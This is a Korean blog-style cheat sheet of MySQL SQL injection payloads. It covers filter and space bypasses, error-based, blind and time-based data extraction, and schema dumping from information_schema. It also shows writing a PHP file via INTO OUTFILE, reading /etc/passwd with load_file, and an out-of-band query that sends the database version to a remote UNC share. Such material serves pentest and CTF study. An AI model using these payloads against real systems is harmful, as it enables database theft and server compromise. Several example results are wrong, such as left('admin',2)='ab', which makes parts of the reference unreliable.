MySQL Injection Techniques

MySQL에서 사용할 수 있는 여러 SQL Injection 테크닉을 정리해본 글이다.
생각날 때마다 꾸준히 업데이트할 예정이다.

TODO

1. 각 쿼리에 대한 설명 추가
2. 쿼리가 정상적으로 실행되는 환경, 버전 명시

Basic SQL Injection

MySQL의 값 비교하기 (Comparison Functions and Operators)

select 'admin'='admin';
select 'admin'<=>'admin'; # <=>는 NULL도 비교할 수 있다.
select 'admin'!='admin';
select 'admin'<>'admin'; # <>, != 똑같다.
select 'admin'>'admim'; # True
select 'admin'>'admin'; # False

select (3,4) in ((1,2), (3,4)); # True
select 'admin' in ('admin'); # True
select 'admin' in ('admin', 'foo'); # True
select 'admin' in (select 'admin'); # True
select 'admin' in ('a','b','c'); # False

select 5 between 4 and 6; # True
select 'admin' between 'a' and 'z'; # True
select 'admin' between 'b' and 'z'; # False
select 'admin' between 'ac' and 'zz'; # True
select 'admin' between 'ad' and 'zz'; # True
select 'admin' between 'ae' and 'zz'; # False

select 'admin' regexp 'adm.*';
select 'admin' like 'adm%';
select 'admin' like '%min';
select 'admin' like 'a_m_n';
select 'admin' sounds like 'admni'; # True
select 'admin' sounds like 'admie'; # True
select 'admin' sounds like 'aemin'; # False

select strcmp('admin', 'admin'); # 0 -> 비교하는 값이 같으면 0을 반환한다.
select strcmp('admie', 'admin'); # -1

select 1 IS TRUE; # True
select 0 IS FALSE; # True
select 'admin'='admin' IS TRUE; # True
select 'admin' IS TRUE; # False
select '1admin' IS TRUE; # True

select 'admin'='admin    '; # True
select 'Admin'='admin'; # True
select binary 'Admin'='admin'; # False
select binary 'admin'='admin    '; # False

MySQL에서 파일 읽고 쓰기 (File I/O)

select @@secure_file_priv; # 디렉토리 제한이 걸려있는지 확인
select '<?php phpinfo(); ?>' into outfile '/tmp/foo.php'; # 파일 쓰기
select '<?php phpinfo(); ?>' into dumpfile '/tmp/foo.php'; # 파일 쓰기
select load_file('/etc/passwd'); # 파일 읽기

특정 버전 이상에서만 실행하기

/*! MySQL-specific code */

select /*!50000 1*/; # MySQL 버전 5.0 이상
select /*!40000 1*/; # MySQL 버전 4.0 이상
select 1/*!union*/select 2;
/*!select 1 union select 2*/;

MySQL에서 문자열 자르기 (String truncation)

select substr('admin',1,1)='a';
select substring('admin',1,1)='a';
select mid('admin',1,1)='a';

select left('admin',1) = 'a';
select left('admin',2) = 'ab';
select right('admin',1) = 'd';
select right('admin',2) = 'cd';

select right(left('admin',1),1) = 'a';
select right(left('admin',2),1) = 'd';
select right(left('admin',3),1) = 'm';

select lpad('admin',1,1) = 'a';
select lpad('admin',2,1) = 'ad';
select rpad('admin',1,1) = 'a';
select rpad('admin',2,1) = 'ad';

select insert(insert('admin',1,0,''),2,256,'') = 'a';
select insert(insert('admin',1,1,''),2,256,'') = 'd';
select insert(insert('admin',1,2,''),2,256,'') = 'm';

MySQL의 타입 변환 (Type Conversion)

/* 자동으로 타입 변환 */
select '1'+1; # -> 2
select 'a'=0; # True
select '1admin'=1; # True
select '123'=123; # True
select concat(2, 'test'); # -> '2test'
select * from users where id=0; # -> 타입 캐스팅되면서 첫번째 문자가 0이거나 숫자가 아닌 다른 문자로 시작하는 건 다 가져옴
select true + true; # 2
select`version`()+0; # -> 버전에 따라 연산 결과 달라짐

/* 함수를 통한 타입 변환 */
select cast(38.8 as char); # -> '38.8'
select convert(38.8, char); # -> '38.8'
select convert('admin', int); # -> 0

/* 0x, 0b로 만든 문자는 타입캐스팅 X */
select 0x3936323737; # -> 96277
select '96277'=96277; # True
select 0x3936323737=96277; # False
select 0x3936323737='96277'; # True

공백을 사용할 수 없을 때

select(group_concat(table_name,0x3a,column_name))from`information_schema`.`columns`where`table_schema`=database();
select(group_concat(table_name,0x3a,column_name))from(information_schema.columns)where(table_schema=database());
select/**/group_concat(table_name,0x3a,column_name)from/**/information_schema.columns/**/where/**/table_schema=database();
select@:=group_concat(table_name,0x3a,column_name)from(information_schema.columns)where(table_schema=database

/*
아래는 공백(%20) 대신 사용할 수 있는 문자다. (URL encoding)
%09, %0a, %0b, %0c, %0d, %a0, /**/
*/

MySQL의 임시 변수

select @a:='admin' union select @a;
select id from users where id='admin' and @a:=pw union select @a;

문자를 표현하는 다양한 방법

select 'adm' 'in'; # -> 'admin'
select 'ad''min'; # ad'min
select 'A'='a'; # True
select binary 'A'='a'; # False
select 'a'='a    '; # True
select 0x61; # a
select 0b01100001; # a
select x'61'; # a

select concat(char(97),'dmin'); # admin
select concat_ws(0x3a,version(),user(),database()); # 10.4.6-MariaDB:root@localhost:test
select unhex(unhex(3631363236333634)); # abcd

select 'admin' = mid(encrypt(ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi()*pi())*floor(pi())+ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi())+ceil(pi()*pi())*ceil(pi()*pi())*floor(pi()*pi())+ceil(pi()*pi())*(floor(pi()*pi())-true),mid(password(true+true),floor(pi()*pi()*floor(pi()))+true+true,true+true)),true, (ceil(pi())+true)); # True -> https://github.com/adm1nkyj/ctfwriteup/blob/master/my_task/secuinside_2017/mathboy7

별칭(alias) 지정하는 여러가지 방법

select 'admin' as id; # 일반적
select 'admin'id;
select 'admin'`id`;
select 1`id`;
select 'admin' id;
select 1.foo; # 10.0.38-MariaDB 에서 테스트해봄

inject point가 LIMIT clause 다음에 올 때

select id from users where 1 limit 0,1 {injection_point}
select id from users where 1 limit 0,1 procedure analyse(1,1);
select id from users where 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); # error based
select id from users where 1 limit 0,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 1, benchmark(5000000,sha1(1)),1))))),1); # time based

character set이 latin1 일 때 (latin1_swedish_ci, latin1_german2_ci, etc..)

select 'Ä'='A'; # True
select 'ä' like 'a'; # True

현재 사용중인 DB의 모든 테이블명, 컬럼명 추출

select group_concat(table_name,0x3a,column_name) from information_schema.columns where table_schema=database();

INSERT statement에서 SQL Injection

insert into users values ('a', 'b'), ('c', 'd');
insert into users values ('a', reverse(id)), (version(), 1);
insert into users values ('a', (select id from (select id from users limit 0,1)x));

MySQL의 주석

select * from users where /* This is an in-line comment */ 1;
select * from users where 1;    # This comment continues to the end of line
select * from users where 1;    -- This comment continues to the end of line
select * from users where 1;%00 (PHP 기준 세미콜론 뒤에 NULL문자(%00)가 들어가야함)
select * from users `where 1`; # users에 `where 1`이라는 별칭을 지정해준 것.
/*
마지막의 backtick(`)은 주석은 아니고 주석처럼 써먹을 수 있다.
간단한 예시로, inject point가 다음과 같다고 가정해보자.

select * from {$_GET['table']} where id='{$_GET['id']}';

이런 환경은 극히 드물지만 만약 $_GET['table']에서 [a-zA-Z`]만 사용할 수 있고
$_GET['id']에서 싱글 쿼터 이스케이프가 힘든 상황일 때 backtick을 사용해 공략할 수 있다.

?table=users`&id=`where(id=0x61646d696e)%23
=> select * from users` where id='`where(id=0x61646d696e)#';
*/

Error based SQL Injection

에러 메세지하고 같이 추출

select * from users union select foo(); # FUNCTION test.foo does not exist
select * from users where exp(~id); # DOUBLE value is out of range in 'exp(~`test`.`users`.`id`)'
select * from users where extractvalue(1, concat(0x3a,version())); # XPATH syntax error: ':10.4.6-MariaDB'
select * from users where updatexml(0,concat('$_',version()),0); # Unknown XPATH variable at: '$_10.4.6-MariaDB'
select * from users group by concat(version(),floor(rand(0)*2)) having min(0); # Duplicate entry '10.4.6-MariaDB1' for key 'group_key'
select * from (select * from users join users a)b; # Duplicate column name 'id'
select * from users where id=1 and json_keys((select group_concat(concat_ws(0x3a,id,pw)) from users));
# group_concat이랑 같은 효과냄 (MySQL >= 5.7.8 using JSON_* functions)

select polygon((select * from(select name_const(version(),1))x));
# -> Illegal non geometric '(select `x`.`5.5.38-35.2` from (select NAME_CONST(version(),1) AS `5.5.38-35.2`) `x`)' value found during parsing

select ST_LatFromGeoHash(version()); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LATFROMGEOHASH

select ST_LongFromGeoHash(version()); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LONGFROMGEOHASH

select ST_PointFromGeoHash(version(),0); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function st_pointfromgeohash

Error Based Blind SQL Injection

# 서브 쿼리에서 2개 이상의 row를 리턴하면 에러가 발생하는 점을 이용해서 공격
select if('a'='b', 1, (select 1 union select 2)); # error -> Subquery returns more than 1 row
select if('a'='a', 1, (select 1 union select 2)); # ok
select case when 1=1 then (select 1 union select 2) else 1 end; # error
select case when 1=0 then (select 1 union select 2) else 1 end; # ok

# BIGINT 범위를 넘어서 에러를 발생시켜 공격
select ~0+(select 'a'='a'); # error -> ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '~0 + ('a' = 'a')' 
select ~0+(select 'a'='b'); # ok

# cot함수 인자로 False가 들어가면 에러가 발생하는 것을 이용해서 공격
select cot(1=0); # error (DOUBLE value is out of range in 'cot(1 = 0)')
select cot(1=1); # ok

# order by 뒤에 숫자 늘리면서 에러로 컬럼수 파악
select * from users order by [컬럼 개수]; # 컬럼 개수 늘려가면서 에러로 개수 파악
select * from users order by 1; # ok
select * from users order by 2; # ok
select * from users order by 3; # error -> users 테이블의 컬럼 개수는 2개인 것.

select row([컬럼 개수]) > (select * from users limit 0,1); # [컬럼 개수]에 1,2,3 이런식으로 넣다가 컬럼 개수랑 맞으면 에러 안뜸
/* 타임 베이스 */
select 'a'='a' and sleep(1); # 1 row in set (1.001 sec)
select 'a'='b' and sleep(1); # 1 row in set (0.000 sec)
select 'a'='a' and benchmark(10000000,md5('a')); // 1 row in set (3.017 sec)
select 'a'='b' and benchmark(10000000,md5('a')); // 1 row in set (1.565 sec)
/* true, false로 숫자 만들기 */
select true; # 1
select false; # 0
select true+true; # 2

/* 함수로 숫자 만들기 */
select ceil(cos(true)); # 1
select ceil(tan(true)); # 2
select ceil(pi()-true); # 3
select ceil(pi());      # 4
select ceil(pi())+true; # 5
select ceil(pi()*pi()); # 10
select true+@@version;
select hex(hex(true)); # only integer
/* 쓸만한 database, table */
information_schema.tables # 테이블, 컬럼 정보
information_schema.columns # 테이블, 컬럼 정보
information_schema.processlist # 현재 실행되는 쿼리 정보
information_schema.session_variables # 이것 저것 정보가 많이 들어있음
mysql.innodb_index_stats # 테이블, 컬럼 정보
mysql.innodb_table_stats # 테이블, 컬럼 정보
mysql.user # DB 유저 정보

Out-of-band for Windows

select @@version into outfile '\\\\192.168.0.100\\temp\\extract.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\extract.txt';

다양한 쿼리들 (Various queries)

/* 쿼터(', ")로 감싸면 바로 뒤에 공백없이 다른 clause가 올 수 있다.
   실수 또한, 공백없이 다른 clause를 사용할 수 있다. */
select'a'union(select'b');
select+5 union select 1; # ok
select 5union select 1; # error
select .5union select 1; # ok


/* 공백없이 'abc'를 출력하는 방법 */
select'abc'; # abc
select+0x616263; # abc
select@:=0x616263; # abc
select(0x616263); # abc
select{hex`unhex`(616263)}; # abc
select/*!50000+0x616263*/; # abc
select(0b011000010110001001100011); # abc

/* 그 외 */
select{a@@version};
select{a@:=1}union(select'a');
select version/**/();

/* 같은 역할하는 함수 모음 */
select database(); # current database name
select schema(); # current database name

select+version(); # version
select@@global.version; # version
select@@`version`; # version

MySQL 연산자 우선순위 (Operator Precedence)

INTERVAL
BINARY, COLLATE
!
- (unary minus), ~ (unary bit inversion)
^
*, /, DIV, %, MOD
-, +
<<, >>
&
|
= (comparison), <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN, MEMBER OF
BETWEEN, CASE, WHEN, THEN, ELSE
NOT
AND, &&
XOR
OR, ||
= (assignment), :=

Reference, SQL Injection 관련 문서들

PayloadsAllTheThings
SQL Injection for Expert (rubiya)
SQL Injections in MySQL LIMIT clause
MySQL: новый Geometric error-based
MySQL SQL Injection Cheat Sheet
MySQL Waf bypass cheat sheet